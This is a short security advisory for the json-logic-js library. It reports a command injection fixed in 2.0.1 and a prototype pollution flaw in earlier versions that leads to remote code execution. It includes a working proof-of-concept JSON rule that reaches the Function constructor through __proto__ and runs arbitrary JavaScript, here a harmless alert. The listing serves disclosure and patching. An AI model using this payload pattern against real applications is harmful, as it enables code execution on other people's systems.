Version Details and Security Vulnerabilities

A vulnerability, which was classified as critical, has been found in json-logic-js 2.0.0. Affected by this issue is some unknown functionality of the file logic.js. The manipulation leads to command injection. Upgrading to version 2.0.1 is able to address this issue. The name of the patch is c1dd82f5b15d8a553bb7a0cfa841ab8a11a9c227. It is recommended to upgrade the affected component. VDB-222266 is the identifier assigned to this vulnerability.

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}